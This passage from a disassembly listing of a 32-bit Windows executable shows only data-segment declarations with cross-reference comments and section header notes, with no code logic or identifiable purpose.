; sub_412300+7F0w dword_4247A4 dd 77D43DD3h ; DATA XREF: sub_410253+E9r ; sub_412300+804w dword_4247A8 dd 77D441F2h ; DATA XREF: sub_410253+F3r ; sub_412300+818w dword_4247AC dd 77D49A11h ; DATA XREF: sub_410253+109r ; sub_412300+82Cw dword_4247B0 dd 77D47627h ; DATA XREF: sub_410253+126r ; sub_412300+840w dword_4247B4 dd 77D46F5Bh ; DATA XREF: sub_412300+854w dword_4247B8 dd 77D442CFh ; DATA XREF: _3:004122E7r ; sub_412300+868w dword_4247BC dd 77E7AC37h ; DATA XREF: sub_410386+45r ; sub_412300+87Cw dword_4247C0 dd 0 ; DATA XREF: sub_412300+888o byte_4247C4 db 0 ; DATA XREF: sub_413186+69o ; sub_413186+7Fw ... align 4 dd 20h dup(0) dword_424848 dd 77FC5920h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_413272+25o ; sub_41363Fo ... dword_424860 dd 8D0538h ; DATA XREF: sub_413EED+25r ; sub_413EED+5Dr ... dword_424864 dd 8D00A8h ; DATA XREF: sub_413056+50r ; sub_413056+8Er ... dword_424868 dd 8D02F0h ; DATA XREF: sub_41396C:loc_413A3Er ; sub_41396C+10Br ... dword_42486C dd 8D0780h ; DATA XREF: sub_41365E+7Er ; sub_4136FE+25r ... dword_424870 dd 0 ; DATA XREF: sub_416BE0+8r ; sub_416BE0+19r dword_424874 dd 0 ; DATA XREF: sub_416BE0+10r dword_424878 dd 890048h ; DATA XREF: _3:00414A26r _3:00414AFDr ... dword_42487C dd 8A0090h ; DATA XREF: sub_416C60+57Cw ; _5:off_423B78o dword_424880 dd 8B0098h ; DATA XREF: sub_416C60+59Aw ; _5:00423B90o dword_424884 dd 8C00A0h ; DATA XREF: sub_416C60+5B9w ; _5:00423BA8o dword_424888 dd 8520F8h ; DATA XREF: sub_413272+34r ; sub_413272+5Er ... dword_42488C dd 852320h ; DATA XREF: sub_416C60+144w ; sub_416C60+151r ... dword_424890 dd 4000F0h ; DATA XREF: _3:0041747Fw _3:00417485r ... dword_424894 dd 0 ; DATA XREF: sub_418730+4r ; sub_418730+Cw ... dword_424898 dd 0 ; DATA XREF: sub_410253+A3o ; sub_41DFF8+37o dword_42489C dd 0 ; DATA XREF: sub_41AA23+11r ; sub_41AB84+22w ... dd 0 dword_4248A4 dd 0 ; DATA XREF: sub_419529+359w ; sub_419529+377w ... dword_4248A8 dd 0 ; DATA XREF: sub_41AA23+24w ; sub_41AA23+29r ... dword_4248AC dd 8D0C70h ; DATA XREF: sub_419529+23Br ; sub_419529+26Br ... dword_4248B0 dd 8D0D30h ; DATA XREF: sub_41D40A+F6w dword_4248B4 dd 8D0CD0h ; DATA XREF: sub_41925C+1Ar ; sub_419529+19Er ... dword_4248B8 dd 0 ; DATA XREF: sub_419995+C40w ; sub_41A8B3+5Fr dword_4248BC dd 0 ; DATA XREF: sub_41922D+3r ; sub_41922D+1Dw ... dword_4248C0 dd 0 ; DATA XREF: sub_419529+365w ; sub_419529+37Cr dword_4248C4 dd 0 ; DATA XREF: sub_419995+4Fr ; sub_419995+D8r ... dword_4248C8 dd 0 ; DATA XREF: sub_419995+FAr ; sub_419995+100w ... dword_4248CC dd 0 ; DATA XREF: sub_4198F2+5r ; sub_419903+Ar ... dword_4248D0 dd 0 ; DATA XREF: sub_41AA23+9Br ; sub_41AB84+9Ew ... dword_4248D4 dd 0 ; DATA XREF: sub_41AA23+A8r ; sub_41AB84+CCw ... dword_4248D8 dd 0 ; DATA XREF: sub_41AA23+BAr ; sub_41AB84+FAw ... dword_4248DC dd 0 ; DATA XREF: sub_41AA23+D4r ; sub_41AB84+128w ... dword_4248E0 dd 0 ; DATA XREF: sub_41AA23+F0r ; sub_41AA23+10Cr ... dword_4248E4 dd 0 ; DATA XREF: sub_41AA23+11Er ; sub_41AA23+135r ... dword_4248E8 dd 0 ; DATA XREF: sub_41AA23+3Fr ; sub_41AB84+1B2w ... dword_4248EC dd 0 ; DATA XREF: sub_41AA23+5Dr ; sub_41AB84+1E0w ... dword_4248F0 dd 0 ; DATA XREF: sub_41AA23+13Dr ; sub_41AB84+20Ew ... dword_4248F4 dd 0 ; DATA XREF: sub_41AA23+1Er ; sub_41AB84+23Cw ... dword_4248F8 dd 0 ; DATA XREF: sub_41AA23+C2r ; sub_41AA23+FFr ... dword_4248FC dd 0 ; DATA XREF: sub_41AA23+6Br ; sub_41AB84+298w ... dword_424900 dd 20h dup(0) ; DATA XREF: sub_41AA23+CFo ; sub_41AB84+45o ... dword_424980 dd 0 ; DATA XREF: sub_41BF82+27w ; sub_41BF82+32r align 8 dword_424988 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_411310+3A8o ; sub_41BB7C+6o ... byte_4249A0 db 0 ; DATA XREF: sub_41BF82+7r ; sub_41BF82+15r ... align 4 dword_4249A4 dd 850000h ; DATA XREF: sub_41BA87+4r ; sub_41BA87+22w ... dword_4249A8 dd 1000h dup(0) ; DATA XREF: sub_41BB7C+11o ; sub_41BBE7+5o dword_4289A8 dd 0 ; DATA XREF: sub_41BF82+7Cr ; sub_41BF82+82w ... align 10h dword_4289B0 dd 0 ; DATA XREF: sub_41015E+25r ; sub_41015E+4Ar ... dword_4289B4 dd 0 ; DATA XREF: sub_410253+BBw ; sub_410253+10Fw ... dword_4289B8 dd 2 dup(0) ; DATA XREF: sub_410386+32o dword_4289C0 dd 0 ; DATA XREF: sub_410253+2Cw ; sub_410253+57o align 8 dword_4289C8 dd 0 ; DATA XREF: sub_410253+36w dd 2 dup(0) dword_4289D4 dd 0 ; DATA XREF: sub_410253+52w dd 4 dup(0) dword_4289E8 dd 0 ; DATA XREF: sub_410253+40w align 10h dword_4289F0 dd 0ECh dup(0) ; DATA XREF: sub_41C5E3+28o ; sub_41C5E3+42o ... byte_428DA0 db 0 ; DATA XREF: sub_41C7DF+71w ; sub_41C7DF+8Fr byte_428DA1 db 0 ; DATA XREF: sub_41C7DF+7Bw byte_428DA2 db 0 ; DATA XREF: sub_41C7DF+85w align 4 dd 13h dup(0) dword_428DF0 dd 42h dup(0) ; DATA XREF: sub_41C7DF+Bo ; sub_41C7DF+17o ... dword_428EF8 dd 40h dup(0) ; DATA XREF: sub_41CD16+ABo ; sub_41CDFA+5Do dword_428FF8 dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_41CD16+25o ; sub_41CD74o ... dword_429010 dd 0 ; DATA XREF: sub_41CD16+34r ; sub_41CD16+4Ew ... align 8 dword_429018 dd 77FC59C0h, 0 ; DATA XREF: sub_41D40A+6o ; sub_41D6FE+25o dd 1, 0E0h, 2 dup(0) byte_429030 db 1 ; DATA XREF: sub_41D332:loc_41D342r ; sub_41D6FE+30w align 4 dword_429034 dd 8D09C8h ; DATA XREF: sub_418E90+Dr ; sub_418E90+26r ... dword_429038 dd 8D0C10h ; DATA XREF: sub_418B90+264r ; sub_41D40A+72w ... dword_42903C dd 0 ; DATA XREF: sub_411310+3EFw dword_429040 dd 0 ; DATA XREF: sub_41E952+2Fw ; sub_41E952+47r byte_429044 db 0 ; DATA XREF: sub_41E952+4r ; sub_41E952+12r ... align 4 dword_429048 dd 0 ; DATA XREF: sub_410A10+28r ; sub_410A10+4Cw ... dword_42904C dd 2 dup(0) ; DATA XREF: sub_410F10+Co dword_429054 dd 0 ; DATA XREF: sub_41072E+4r ; sub_41072E+9Dr ... dd 3 dup(0) dword_429064 dd 0 ; DATA XREF: sub_410A10+C0r ; sub_410D4F+A6r dd 0 dword_42906C dd 0 ; DATA XREF: sub_410D4F+26r ; sub_410D4F:loc_410DB9w _5 ends ; Section 7. (virtual address 0002A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00029200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 42A000h dd 80h dup(0) align 1000h _idata2 ends end start